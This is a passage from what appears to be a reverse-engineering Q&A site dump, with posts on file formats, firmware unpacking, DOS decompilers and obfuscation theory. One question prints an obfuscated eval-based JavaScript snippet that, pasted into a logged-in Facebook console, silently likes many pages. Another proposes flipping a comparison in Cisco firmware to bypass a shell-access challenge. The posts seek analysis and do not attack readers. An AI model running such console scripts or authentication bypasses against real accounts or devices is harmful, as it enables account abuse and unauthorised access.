1.0&lt;/code&gt; in the file. Still, I count more occurrences of the mysterious ASCII numbers at the beginning. Possible that this counts some markers as well that aren't in need of the &lt;code&gt;AS LZW 1.0&lt;/code&gt; bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also those decimals start out at 2. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also unable to follow your description, to be honest. If the first part are file names and they are separated by &lt;code&gt;00&lt;/code&gt;, then why are there so many occurrences of &lt;code&gt;00&lt;/code&gt; in that part?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ArchStar explains the &lt;code&gt;AS LZW 1.0&lt;/code&gt; of course. It's probably a variation on the &quot;normal&quot; LZW then. &lt;code&gt;LZW&lt;/code&gt; could of course also stand for something unrelated, like the author's initials or their name for something.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Concerning the update about CEL/FLIC files. If we assume that the information &lt;a href=&quot;http://www.compuphase.com/flic.htm#FLICHEADER&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; is correct, we should see something useful here. But it looks like gibberish indeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiycY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I agree, likely no FLIC file. Still, keep in mind that DWG comes from the same creator. This may not be a coincidence.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update concerning the findings about the LZW data. From Wikipedia (&lt;a href=&quot;https://en.wikipedia.org/wiki/Lzw&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In this way the decoder builds up a dictionary which is identical to&#xA;  that used by the encoder, and uses it to decode subsequent input&#xA;  values. Thus the full dictionary does not need be sent with the&#xA;  encoded data; just the initial dictionary containing the&#xA;  single-character strings is sufficient &lt;strong&gt;(and is typically defined&#xA;  beforehand within the encoder and decoder rather than being explicitly&#xA;  sent with the encoded data.)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(Emphasis added.)&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="2417" LastEditDate="2014-01-02T22:14:16.690" LastActivityDate="2014-01-02T22:14:16.690" CommentCount="2" CommunityOwnedDate="2013-11-20T20:16:54.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="3065" PostTypeId="2" ParentId="3063" CreationDate="2013-11-21T01:47:40.043" Score="9" Body="&lt;p&gt;This is code from the &lt;a href=&quot;https://www.kernel.org/doc/Documentation/ABI/stable/vdso&quot;&gt;vDSO&lt;/a&gt; which is mapped by the kernel into every process, not from the wget binary. You could probably figure it out by inspecting the &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have in IDA for &lt;code&gt;gettimeofday&lt;/code&gt; from it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:FFFFFFFFFF700D17   mov     rbx, 0FFFFFFFFFFDFF000h&#xA;.text:FFFFFFFFFF700D1E   lsl     r11d, eax&#xA;.text:FFFFFFFFFF700D22   xor     r15d, r15d&#xA;.text:FFFFFFFFFF700D25   mov     r10d, r11d&#xA;.text:FFFFFFFFFF700D28   mov     r9d, ds:0FFFFFFFFFF5FF080h&#xA;.text:FFFFFFFFFF700D30   test    r9b, 1&#xA;.text:FFFFFFFFFF700D34   jnz     loc_FFFFFFFFFF700FDF&#xA;.text:FFFFFFFFFF700D3A   mov     rax, ds:0FFFFFFFFFF5FF0A8h&#xA;.text:FFFFFFFFFF700D42   mov     r13d, ds:0FFFFFFFFFF5FF088h&#xA;.text:FFFFFFFFFF700D4A   mov     [rdi], rax&#xA;.text:FFFFFFFFFF700D4D   mov     edx, ds:0FFFFFFFFFF5FF088h&#xA;.text:FFFFFFFFFF700D54   mov     r14, ds:0FFFFFFFFFF5FF0B0h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems PIN's disassembler chose to not sign-extend addresses (which are encoded in 4 bytes in the opcodes).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-11-21T01:47:40.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3066" PostTypeId="1" CreationDate="2013-11-21T09:57:34.370" Score="6" ViewCount="2531" Body="&lt;p&gt;I have this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ytti@lintukoto ~/tmp/ida]% file cat3k_caa-universalk9.SPA.03.03.00.SE.150-1.EZ.bin&#xA;cat3k_caa-universalk9.SPA.03.03.00.SE.150-1.EZ.bin: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's image for Cisco Catalyst 3650 switch. The switch itself is running Cavium, probably Cavium Octeon CPU on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the file on top of it has some proprietary headers (possible hash of file integrity too).&#xA;If I remove what I believe to be headers, I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat3k.mips: mc68010 demand paged executable not stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't get it open on IDA Pro, as it says it's binary file, and I need to choose entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it's self-decompressing image, so I'd probably want to be able to decompress it as well. But at least unzip and gzip fail on me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to accomplish is, the switch has certain command you use to escape proprietary process and access the Linux shell, before this command executes it presents you with a challenge and you have to give matching response, otherwise no soup^Wshell for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of finding the string which complains about incorrect response, seeing which part of the code jumps there. I'd expect to find some comparison there, and then I'd just flip the comparison around. With desired results that in future incorrect response would succeed (and correct response fail).&lt;br&gt;&#xA;I don't expect any particular efforts from Cisco to avoid customers from breaking their own kit willfully, this is more of easy for them to prove, that customer didn't break it accidentally by going to linux shell and killing some process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is some sort of integrity test of the file, then I might be shit out of luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd love some tips how to actually &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;decompress this&lt;/li&gt;&#xA;&lt;li&gt;get it open in IDA Pro in meaningful way&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can share the file upon request (it's useless without the switch, and if you own switch, you are eligible to the image, so I don't consider it 'warez').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SWITCH#request system shell&#xA;Activity within this shell can jeopardize the functioning of the system.&#xA;Are you sure you want to continue? [y/n] y&#xA;Challenge:&#xA;aa1344d4d0dfbf85b22a719e54fe1365b5be267344223bd66c3b6368b3bd2b7f6b8b03fe87ab57e6360634d8fb&amp;gt;586c42c0918a3786f81a3a60&#xA;Please enter the shell access response based on the above challenge (Press &quot;Enter&quot; when do&amp;gt;ne or to quit.): &#xA;kakka&#xA;Key verification failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3206" LastEditorUserId="4212" LastEditDate="2014-06-04T11:51:38.207" LastActivityDate="2014-06-04T11:51:38.207" Title="IDA Pro for MIPS image" Tags="|ida|disassembly|binary-analysis|mips|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3067" PostTypeId="1" CreationDate="2013-11-21T11:52:07.763" Score="1" ViewCount="1088" Body="&lt;p&gt;i have used iLSpy to decompile a .NET EXE file after the process is completed. i copied the content of xaml files from iLSpy one by one, saved the as unicode files and replaced the baml files in Visual studio project.&#xA;With the binary files (baml) the program run perfectly&#xA;With the new replaced xaml files there are many compiler errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the error exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; the errors are related to xaml design.&lt;br&gt;&#xA;all references are correct. &lt;/p&gt;&#xA;" OwnerUserId="3183" LastActivityDate="2013-11-21T11:52:07.763" Title="Help with baml to xaml conversion?" Tags="|decompilation|" AnswerCount="0" CommentCount="2" ClosedDate="2017-03-15T07:52:16.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="3068" PostTypeId="2" ParentId="3066" CreationDate="2013-11-21T12:21:59.113" Score="5" Body="&lt;p&gt;I'd start by plotting the entropy of the file by using for example &lt;a href=&quot;http://binwalk.org/&quot; rel=&quot;nofollow&quot;&gt;binwalk&lt;/a&gt; which is also part of &lt;a href=&quot;http://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;nofollow&quot;&gt;firmware-mod-kit&lt;/a&gt;. This will give you an idea about the layout (bootloader, 2nd stage, main fw etc) of the file and if parts or the whole file is encrypted/compressed.&#xA;Next you can use the same tool and let it try to automatically find known file types and/or compression algorithm(s) based on signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can combine these 2 steps in one using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -B -E &amp;lt;input&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Consult the FAQ/Wiki for more information regarding the usage of binwalk. From that you can start extracting independent blocks and load them into IDA. &lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="245" LastEditDate="2013-11-21T14:22:28.083" LastActivityDate="2013-11-21T14:22:28.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3069" PostTypeId="1" AcceptedAnswerId="3070" CreationDate="2013-11-21T13:39:24.443" Score="4" ViewCount="364" Body="&lt;p&gt;I've been reversing a regularly updated application with various tools (mosty IDA, Olly) for a while now, and I always wondered how to document my findings. For example function names, static variables, relations, namespaces, fields, etc...maybe even changes trough version changes, but that's just an extra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing I came up with is a local MediaWiki, where I create a new page/definition for every function, and stuff, but it's obviously pain in the ass, nearly impossible to maintain. There must be some industry standard right? I wonder if you guys know / use any tool like for this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Here is the structure I'm using now with in the Wiki :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N4UBs.png&quot; alt=&quot;MediaWiki Documentation structure&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you know another solution, I'm looking forward for your answer as well :)&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2013-11-25T11:17:09.253" LastActivityDate="2018-12-25T22:45:31.780" Title="Documenting reversed application" Tags="|ida|tools|history|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3070" PostTypeId="2" ParentId="3069" CreationDate="2013-11-21T14:56:14.413" Score="4" Body="&lt;p&gt;The way this usually works in my experience is that if you have a documentation need outside of the IDB database it's generally because you're trying to share information with other reverse engineers. For this, you may want to take a look at &lt;a href=&quot;http://www.idabook.com/collabreate/&quot; rel=&quot;nofollow noreferrer&quot;&gt;collabREate&lt;/a&gt; or the &lt;a href=&quot;http://thunkers.net/~deft/code/toolbag/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA toolbag&lt;/a&gt;. The unfortunate truth is that a lot of these projects tend to slow down or die completely due to a lack of interest from the original authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if your problem is completely centered around documentation, what I also find fairly common is to have header files with the function, class and structure definitions in them with &lt;a href=&quot;http://www.doxygen.nl/&quot; rel=&quot;nofollow noreferrer&quot;&gt;doxygen-&lt;/a&gt; or &lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/documentation/index-137868.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JavaDoc-&lt;/a&gt;formatted comments in them. You then use doxygen to generate automatic documentation and class diagrams. This way the documentation becomes completely living, self-maintaining and easily navigated.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="26850" LastEditDate="2018-12-25T22:45:31.780" LastActivityDate="2018-12-25T22:45:31.780" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="3074" PostTypeId="1" CreationDate="2013-11-23T08:03:24.690" Score="32" ViewCount="58238" Body="&lt;p&gt;I have some crucial data written decades ago by an ancient 16bit DOS application. There are no docs, no source, and no information about the author. Just the 16 bit exe. I guess it's time for me to learn how to decompile stuff, since it seems the only way to restore file format. I've tried OllyDbg, it looks really great, but it can't 16 bit.&#xA;Is there a disassembler/debugger capable of working with such executables? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know DOSbox, the app runs in it all right. The problem is, I don't need to run it, I need to understand the file format in which it writes data. Do you think starting some old 16bit DOS debugger/decompiler in DOSbox sounds like an idea? If yes, could you please name a decent DOS debugger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I copypasted this question from StackOverflow, because I didn't know about ReverseEngineering section when I was asking it. Please delete it if it's against the rules. &lt;/p&gt;&#xA;" OwnerUserId="3218" LastActivityDate="2023-02-25T10:25:15.113" Title="Decompiling a 1990 DOS application" Tags="|debugging|disassemblers|dos-exe|" AnswerCount="9" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3075" PostTypeId="2" ParentId="3074" CreationDate="2013-11-23T10:22:24.313" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;there are no decent decompiler for 16b DOS afaik&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dosbox has an integrated debugger, otherwise try TurboDebugger - and opening the file in IDA simultaneously to document on the go. Also check this recent &lt;a href=&quot;http://poizan.dk/blog/2013/11/27/fixing-frequent-freezing-of-wasteland-1-when-using-mouse/&quot; rel=&quot;nofollow&quot;&gt;blogpost&lt;/a&gt; about such a situation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-11-28T11:18:14.987" LastActivityDate="2013-11-28T11:18:14.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3076" PostTypeId="2" ParentId="3074" CreationDate="2013-11-23T10:32:42.617" Score="15" Body="&lt;p&gt;Two great disassemblers—lost in time—&lt;em&gt;specifically&lt;/em&gt; for DOS and 16 bit programs. They were the IDA PRO of their days…&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/chayleaf/windows-codeback-disassembler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Codeback Disassmbler&lt;/a&gt;&lt;/strong&gt; (WCB): &lt;em&gt;Extremely&lt;/em&gt; rare to find. &lt;em&gt;Never&lt;/em&gt; misses beginnings of a routine. &lt;em&gt;Never&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://corexor.wordpress.com/2015/12/09/sourcer-and-windows-source/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Sourcerer&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;If&lt;/em&gt; you can find it. &lt;strong&gt;The&lt;/strong&gt; disassembler to go to when professionals wanted to disassemble any file. &lt;em&gt;Industrial&lt;/em&gt; strength, &lt;em&gt;more options&lt;/em&gt; than you can throw a bone at, &lt;em&gt;extremely useful&lt;/em&gt;. Don't forget to download &lt;code&gt;INTERRUPT LIST&lt;/code&gt; interpretations and &lt;code&gt;COLLECT INTERRUPT&lt;/code&gt; lists at the end).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;IDA is good. Not nearly good enough when it comes to these two.&lt;/p&gt;&#xA;&lt;p&gt;My personal choice: Sourcerer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SYMDEB.EXE&lt;/strong&gt;, the symbolic debugger from Microsoft for &lt;strong&gt;DOS&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Turbodebugger&lt;/strong&gt; --- not that much.&lt;/p&gt;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&lt;p&gt;Anonymous.&lt;/p&gt;&#xA;" OwnerUserId="2855" LastEditorUserId="28155" LastEditDate="2022-11-29T07:09:34.453" LastActivityDate="2022-11-29T07:09:34.453" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="3077" PostTypeId="1" CreationDate="2013-11-23T11:11:51.507" Score="4" ViewCount="859" Body="&lt;p&gt;I have some superficial thinking about the indistinguishability obfuscation, these come from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2586/what-is-this-mathematical-jigsaw-puzzles-obfuscation&quot;&gt;this question&lt;/a&gt; of @perror and the answer of @mikeazo herein about a construction of the indistinguishability obfuscator given in &lt;a href=&quot;http://eprint.iacr.org/2013/451.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, this obfuscator is really a breakthrough because it says that, theoretically, we can write obfuscated programs so that the properties being extracted from them are always trivial. To get it more clearly, we consider the set of all programs: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Progs = { P1,P2,...,Pn,... }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;of the same semantics as a program P, then the properties can be extracted from an obfuscated version Obf(P) of P (obviously Obf(P) is in Progs) are also exists in programs in Progs, namely we cannot &lt;em&gt;distinguish&lt;/em&gt; Obf(P) from any program in Progs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, lets P be a program implementing a sorting algorithm (e.g. bublesort) then Progs consists of all programs implementing all sorting algorithms (e.g. quicksort, insertion sort, etc). Then the interesting is &lt;em&gt;we cannot classify Obf(P) into any existed sorting algorithms&lt;/em&gt;, it mixes all possible algorithms: for some inputs, it behave as bublesort, for other inputs it behave as quicksort, etc. Because if we can classify into some existed algorithms, then that means we can extract a non-trivial information (e.g. the complexity of the algorithm) from Obf(P).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is a such obfuscator transforms always a program into a semantics equivalent program. But if a reverser, using some deobfuscator DeObf, can approximate Obf(P) with a &quot;human understandable&quot; program: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;P' = DeObf(Obf(P))&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;namely P' and Obf(P) are not semantically equivalent, but they are &quot;mostly&quot; equivalent: in the most case, P' returns the same output as Obf(P) given the same input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very naive idea comes to me is to &quot;instrument&quot; the code of Obf(P) (e.g. insert some deobfuscating procedures into Obf(P), they execute with Obf(P) but not change too much the semantics of Obf(P)), we may extract some non-trivial properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: &lt;em&gt;Does the existence of DeObf contradict the existence of the indistinguishability obfuscator Obf?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone gives me some suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-01-13T21:08:54.353" Title="On the indistinguishability obfuscation (informally)" Tags="|obfuscation|deobfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3079" PostTypeId="1" CreationDate="2013-11-24T00:24:33.730" Score="2" ViewCount="463" Body="&lt;p&gt;I started using 010 Editor few days ago. Its template is amazingly powerful. But it's a shame these templates not able to be used directly with scripting languages like Ruby and Python. it's maybe a good personal project to build a python/ruby module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I the first person with this idea? I don't think so. is there already a project I can contribute to? Or there is some legal issues? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I did google but seems no result)&lt;/p&gt;&#xA;" OwnerUserId="3201" LastActivityDate="2015-11-11T22:16:43.537" Title="Is anyone building a python/ruby module to reuse 010 Editor templates?" Tags="|tools|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3081" PostTypeId="1" AcceptedAnswerId="3082" CreationDate="2013-11-24T01:32:01.807" Score="4" ViewCount="7103" Body="&lt;p&gt;As the title says im a bit lost on how to get something in the data section to be recognized as a struct or an array of structs or an array of strings etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="3223" LastActivityDate="2013-11-24T01:34:04.117" Title="In IDA how can I define a data address as a struct and array of datatype" Tags="|ida|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3082" PostTypeId="2" ParentId="3081" CreationDate="2013-11-24T01:34:04.117" Score="7" Body="&lt;p&gt;Struct: &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Q&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Array: Numeric keypad &lt;kbd&gt;*&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-11-24T01:34:04.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3084" PostTypeId="1" CreationDate="2013-11-24T04:26:29.807" Score="4" ViewCount="171" Body="&lt;p&gt;Reflecting on some RE I've done recently I'm curious about how differently ASLR works across Windows and Linux :-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it enough to compile shared libraries on Linux with the fPIC flag so that they can take advantage of the ASLR system wide setting?&lt;/li&gt;&#xA;&lt;li&gt;On Windows are there any compile time settings other than ASCOMPAT that I should enable in order to take advantage of ASLR?&lt;/li&gt;&#xA;&lt;li&gt;Are there any ways in which the ASLR implementation is better in one platform that the other?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2013-11-24T04:26:29.807" Title="differences in ASLR on Linux and Windows" Tags="|security|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2013-12-10T21:18:45.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="3085" PostTypeId="1" CreationDate="2013-11-24T05:49:09.183" Score="4" ViewCount="6968" Body="&lt;p&gt;I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _8818;var _7347='[encoded data, 10508 characters]';var _2096=/[\x41\x42\x43\x44\x45\x46]/;var _7700=2;var _8160=_7347.charAt(_7347.length-1);var _5402;var _9849=_7347.split(_2096);var _8517=[String.fromCharCode,isNaN,parseInt,String];_9849[1]=_8517[_7700+1](_8517[_7700](_9849[1])/21);var _6586=(_7700==6)?String:eval;_5402='';_11=_8517[_7700](_9849[0])/_8517[_7700](_9849[1]);for(_8818=3;_8818&amp;lt;_11;_8818++)_5402+=(_8517[_7700-2]((_8517[_7700](_9849[_8818])+_8517[_7700](_9849[2])+_8517[_7700](_9849[1]))/_8517[_7700](_9849[1])-_8517[_7700](_9849[2])+_8517[_7700](_9849[1])-1));var _2587='_5283';var _8881='_2587=_5402';function _4546(_3913){_6586(_8410);_4546(_4354);_4354(_8881);_4546(_2587);}var _8410='_4546=_6586';var _4354='_4354=_4546';_4546(_8160);P(&quot;169527529919889&quot;);Like(&quot;394484804008242&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this code does is if you log in to your facebook account and paste this code in the &quot;console tab&quot; of Google Chrome. It will like a total of 23 facebook pages and a photo (not sure if there are more photos, I could only figure out 1). I could only understand the last part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;P(&quot;169527529919889&quot;);Like(&quot;394484804008242&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe that this part is for 1 of the pages and the one photo that I talked about. Can someone point out where the other 22 pages are? And how to remove them? I tried several times, but if I changed only a single word or a number, the code wouldn't work. In other words, can someone tell me how to use this code to like 1 page and 1 photo only?&lt;/p&gt;&#xA;" OwnerUserId="3222" LastEditorUserId="53" LastEditDate="2014-06-08T10:24:48.057" LastActivityDate="2014-06-08T10:24:48.057" Title="Analyze obfuscated JavaScript code?" Tags="|deobfuscation|javascript|" AnswerCount="1" CommentCount="3" ClosedDate="2014-06-08T14:40:10.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="3086" PostTypeId="2" ParentId="3085" CreationDate="2013-11-24T17:43:02.390" Score="1" Body="&lt;p&gt;Best way to analyze this is to open it in your browser's JavaScript debugger so that you can step through the code line-by-line and monitor the local variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first glance, this JavaScript code appears to be broken though, in that it appears to call &lt;code&gt;eval()&lt;/code&gt; on a string that can't be &lt;code&gt;eval()&lt;/code&gt;'ed. The string it tries to &lt;code&gt;eval()&lt;/code&gt; is the following, followed by a bunch of &lt;code&gt;\x0000&lt;/code&gt;s:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;\xfdbe\xfdca\xfd93\xfdc2\xfdbf\xfdbd\xfdc0\xfdcb\xfdca\xfdc2\xfd93\xfda6\xfd93\xfdc0\xfdc8\xfdc0\xfdcc\xfdc6\xfdc1\xfdc7\xfdcb\xfd9c\xfdc2\xfdc1\xfdcb\xfdac\xfdc6\xfdc1\xfdc6\xfdc1\xfdc7\xfdcb\xfdca\xfdaa\xfdce\xfdb2\xfdbe\xfdc6\xfdc1\xfd98\xfd98\xfdc2\xfdbf\xfdbd\xfdc0\xfdcb\xfdca\xfdc2\xfd98\xfd99\xfdba\xfd9e\xfdbc\xfd9c\xfdcc\xfdbe\xfdc6\xfdcc\xfdc1\xfda5\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdcc\xfdca\xfdc1\xfdca\xfdbd\xfdc4\xfdc0\xfd93\xfda6\xfd93\xfdc0\xfdc8\xfdc0\xfdcc\xfdc6\xfdc1\xfdc7\xfdcb\xfd9c\xfdc0\xfdc8\xfdc8\xfdc5\xfdc4\xfdc1\xfd9c\xfdc6\xfdbe\xfdcb\xfdc0\xfdc3\xfd98\xfdc0\xfdc8\xfdc0\xfdcc\xfdc6\xfdc1\xfdc7\xfdcb\xfd9c\xfdc0\xfdc8\xfdc8\xfdc5\xfdc4\xfdc1\xfd9c\xfdc6\xfdbe\xfdcb\xfdc0\xfdc3\xfd98\xfd9d\xfdc0\xfdbd\xfdcc\xfdca\xfdc1\xfdca\xfda6\xfd98\xfdbb\xfdc0\xfd9a\xfd99\xfd9d\xfd99\xfdba\xfd9e\xfdbc\xfd99\xfda5\xfd93\xfdc2\xfdcc\xfdc7\xfdc0\xfdcb\xfdc4\xfdc8\xfdc7\xfd93\xfdb0\xfdc4\xfdc5\xfdc1\xfd98\xfdc8\xfd99\xfd93\xfdd0\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfd93\xfda6\xfd93\xfdc7\xfdc1\xfdcd\xfd93\xfdb8\xfdb1\xfdb0\xfdae\xfdcb\xfdcb\xfdc8\xfdb4\xfdc1\xfdc9\xfdcc\xfdc1\xfdca\xfdcb\xfd98\xfd99\xfda5\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfdb6\xfdb4\xfdb0\xfd93\xfda6\xfd93\xfd94\xfd9d\xfd9d\xfdcd\xfdcd\xfdcd\xfd9c\xfdc2\xfdbe\xfdc0\xfdc1\xfdbf\xfdc8\xfdc8\xfdc5\xfd9c\xfdc0\xfdc8\xfdc6\xfd9d\xfdbe\xfdc4\xfdbe\xfdce\xfd9d\xfdc8\xfdbe\xfdc2\xfdc1\xfdca\xfd9d\xfdc2\xfdbe\xfdc7\xfdbd\xfdca\xfdcb\xfdbe\xfdcb\xfdcc\xfdca\xfd9c\xfdc8\xfdc3\xfdc8\xfd94\xfda5\xfd93\xfdcc\xfdbe\xfdca\xfd93\xfdb3\xfdbe\xfdc2\xfdc1\xfdb3\xfdbe\xfdca\xfdbe\xfdc6\xfdca\xfd93\xfda6\xfd93\xfd94\xfd97\xfdc2\xfdbf\xfdc8\xfdbe\xfdc2\xfdc1\xfdbd\xfdc4\xfdc0\xfda6\xfd94\xfd93\xfd9a\xfd93\xfdc8\xfd93\xfd9a\xfd94\xfd97\xfdbe\xfdc0\xfdc0\xfda6\xfdcb\xfdca\xfdcc\xfdc1\xfd97\xfdca\xfdc1\xfdc6\xfdc8\xfdbe\xfdc0\xfda6\xfdc2\xfdbe\xfdc6\xfdca\xfdc1\xfd97\xfdc2\xfdbe\xfdc7\xfdbd\xfdc8\xfdca\xfdc4\xfdc2\xfdc4\xfdc7\xfda6\xfdc8\xfdbe\xfdc2\xfdc1\xfdbd\xfdcb\xfdc4\xfdc6\xfdc1\xfdc6\xfdc4\xfdc7\xfdc1\xfd97\xfdc2\xfdbe\xfdc7\xfdbd\xfdca\xfdc8\xfdcc\xfdca\xfdc0\xfdc1\xfda6\xfd97\xfdc0\xfdbe\xfdcb\xfda6\xfd97\xfdc7\xfdc0\xfdcb